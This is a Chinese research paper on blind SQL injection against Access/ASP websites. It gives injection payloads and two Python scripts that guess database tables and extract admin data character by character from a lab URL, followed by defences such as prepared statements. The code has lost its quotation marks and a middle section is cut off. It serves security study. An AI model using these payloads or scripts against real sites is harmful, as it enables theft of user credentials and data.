王冬雪 韩灏 李鸿鹄
摘要:基于Windows+Access+ASP服务器的网络架构,因成本低廉和易于操作被广泛使用,这种架构极易因存在的安全漏洞和相关安全措施不严而受到各方面的攻击与入侵,最常见的攻击方式就是SQL注入。通过SQL注入攻击获取数据库数据,利用其数据可进行网站渗透。在此基础上,采用逐字猜解法注入,利用python脚本编写获取数据库信息并进行脚本优化,从而研究Access数据库SQL注入方式,给出SQL注入攻击的防范方法。
关键词:网络安全;Access数据库;SQL注入;攻防
中图分类号:TP391.4文献标志码:A文章编号:1008-1739(2018)19-68-4
Research on SQL Injection Attack Based on Access Database
WANG Dongxue, HAN Hao, LI Honghu(College of Computer Science and Technology, Harbin University of Science and Technology, Harbin Heilongjiang 150000, China)
0引言
随着互联网时代的发展,人们在享受互联网带来便捷的同时,安全问题也日趋严峻。Windows+Access+ASP是常见的网络架构类型之一,常用于构建动态网站。部分网站由于开发者安全意识较差,常受到不同种类的Web攻击,SQL[1]注入是其中一种较为严重的攻击方式。攻击者利用开发人员对传入参数与SQL语句的不正确拼合,将恶意的SQL语句注入到后台数据库来实现其操作,通过该攻击可获取用户敏感数据信息,在服务器权限设置不当的情况下,可导致任意文件的上传及下载,进而获取网站Webshell,最终导致服务器沦陷。本文通过搭建基于Access数据库的Web测试环境,编写SQL注入python脚本,实现了对数据库数据内容的获取,并由此总结了Access数据库SQL注入防范方法。
1前期准备
1.1环境搭建
本地测试环境采用Window2003+超级小旋风AspWebServer进行环境搭建,AspWebServer参数配置如下:
[localhost:sql]
hostLanguage=VBScript
hostUrl=192.168.208.139
listenPort=8003
rootPath=\wwwroot\sql
defaultFiles=index.asp,default.asp,index.html,default.html
第1行为配置名称,第2行为使用的脚本语言,第3行为本机的IP地址,第4行為监听的本地端口,第5行为网站的根路径,第6行为默认的网站页面。测试页面显示如图1所示。
页面显示了报错信息,由MicrosoftAccess Driver可知,数据库类型为Access数据库,查询表达式为id=1513,多出一个单引号,该单引号与前一个单引号闭合,多出的找不到与之成对的单引号,导致数据库报错,接下来进行注入类型的判断。
构造and 1=1和and 1=2分别作为id参数值传入,如果页面发生改变,则证明存在SQL注入,经测试页面发生变化,语句并未使用单引号进行闭合,所以注入类型为int型注入。
1.3 SQL注入原理
Access只存在1个数据库,所以与常规的SQL注入方式不同,可通过以下2种方式进行查询,第1种为联合查询法,第2种为逐字猜解法。Access数据库不存在系统表和系统库,对于数据库中的内容,只能通过暴力猜解的方式进行。
暴力猜解的方式如下:
①进行表的判断:通过在闭合后的语句中加入and exists(select * from表名),表名部分可通过本地字典读取,如果页面返回无变化,则证明该表存在于数据库中。
②进行表中字段的判断:通过构造and exists (select列名from表名),表名为上述语句查询的结果,列名需要通过字典文件暴力猜解的值。通过测试页面的返回结果,如果页面无变化,则证明该字段存在于该表中。
③进行数据部分的判断:第一步判断数据部分的长度,通过构造and (select top 1 len(列名)from表名)=长度,列名和表名可通过上述过程得出,使用循环语句,直到页面返回正常,此时的长度为数据内容长度。第二步通过构造and (select top 1 asc(mid(列名,位数,1)) from表名)=ascll码,页面返回正常时,该ascll值为该数据对应位数的值。
2 Access逐字猜解法注入
2.1查询数据信息
查询数据信息的过程如下:
def queryDump(table,column,url,length=60):
len = 0
old = requests.get(url)
old.encoding = gb2312
#确认长度
for i in range(length):
payload = and(select top 1 len (%s) from %s) = %d %(column,table,i)
payload = url + payload
print(payload)
new=requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
len = i
print(len)
break
#判定每位的内容
dump =
for j in range(len):
for k in range(33,127):## ascll可见字符范围
payload = and (select top 1 asc(mid(%s,%d,1)) from %s)=%d% (column,j+1,table,k)
payload = url + payload
new =requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
dump+=chr(k)
print(dump)
break
queryDump(admin,admin,http://192.168.199.73: 8003/Production/PRODUCT_DETAIL.asp?id=1513,40)
脚本首先进行了一次正常请求,并将请求结果保存在old变量中,然后构造查询判断字段长度,通过构造and (select top 1 len(column) from table)=length循环遍历,直到前后返回结果相同,此时得到字段数据部分长度,在知道字段长度的基础上,构造and(select top 1 asc(mid(字段,数据位置,1))from表名)=ascll码,确定该字段数据内容的每一位所对应的ascll码,并输出其相应的字符,运行结果如图3所示。
2.2逐字猜解法脚本优化
逐字猜解法脚本优化的过程如下:
def queryDumpx(table,column,url,length=60):
len=0
old= requests.get(url)
old.encoding = gb2312
#确认长度
start =0
end = length
while(startm = (start+end)//2
if(end - start == 1):
break
payload = and(select top 1 len (%s) from %s) < %d %(column, table, m)
payload = url + payload
print(payload)
new=requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
end = m
else:
start = m
len = m
print(len)
#判定每位的内容
dump =
for j in range(len):
# for k in range(33,127):## ascll可见字符范围
s=33
t=127
while(s
3.2采用预编译语句集
防御SQL注入的最佳方式就是使用预编译语句,预编译后的SQL语句的语义不会发生改变。初始运行程序和操作数据库时,会對SQL语句进行分析、优化与编译,需执行的计划被缓存下来并允许数据库以参数化的形式进行查询[3]。由此将输入的数据库语句中使用到的参数进行设置,若输入了错误的或不同类型的参数值,在编写到数据库语句中导致编译不通过,这样也就有效地防止了SQL注入。
3.3对用户输入进行限定
用户输入的内容不直接拼合到SQL语句中,可以利用存储过程中[4]对用户的输入进行验证与过滤,存储过程的语句可在创建时就被编译,但只会运行创建时所定义的查询语句的语法,用户输入并不参与语法构造,故无法达到执行SQL语句,还可通过对用户输入中存在的内容进行过滤。但这种方式并不能很好地防范SQL注入攻击,攻击者总是能找到新的攻击字符串,绕过各种过滤检查,而且这种防御机制亦取决于开发者编写验证代码与确定其使用系统环境的能力[5]。
3.4对敏感信息加密
尽管关于SQL注入的防范技术不断发展,仍无法完全规避攻击者进行的渗透与攻击。作为网站管理人员,应对用户敏感信息进行高强度加密处理,常规密码算法有DES及其变形Triple DES、GDES、New DES等[6]。即便加密后的内容被获取,攻击者也无法破解对应的数据信息。
4结束语
通过对Access数据库SQL注入方法之一的逐字猜解法进行了具体研究,采用python语言实现了对数据库信息的自动化获取,可调用上述脚本获取指定数据内容。该测试证明了SQL注入的危害性,并针对于Access数据库SQL注入攻击,总结出几种安全预防手段,运用这些手段能够有效增强ASP+Access+IIS网络架构的安全性。
参考文献
[1]练坤梅,许静,田伟,等.SQL注入漏洞多等级检测方法研究[J].计算机科学与探索,2011,5(5):474-480.
[2]顾宏山.ACCESS数据库的安全系统[J].沧州师范专科学校学报,2008(2):110-111.
[3]黄明辉.基于SQL Server的SQL注入攻击防范方法[J].计算机安全,2008(8):122-124.
[4]王绵金,田华,张晋桂.SQL注入攻击原理和防范方法[J].信息与电脑:理论版,2016(5):182-183.
[5]马小婷,胡国平,李舟军.SQL注入漏洞检测与防御技术研究[J].计算机安全,2010(11):18-24.
[6]徐康庭.网络安全与网络信息加密技术分析[J].数字通信世界,2018(2):102.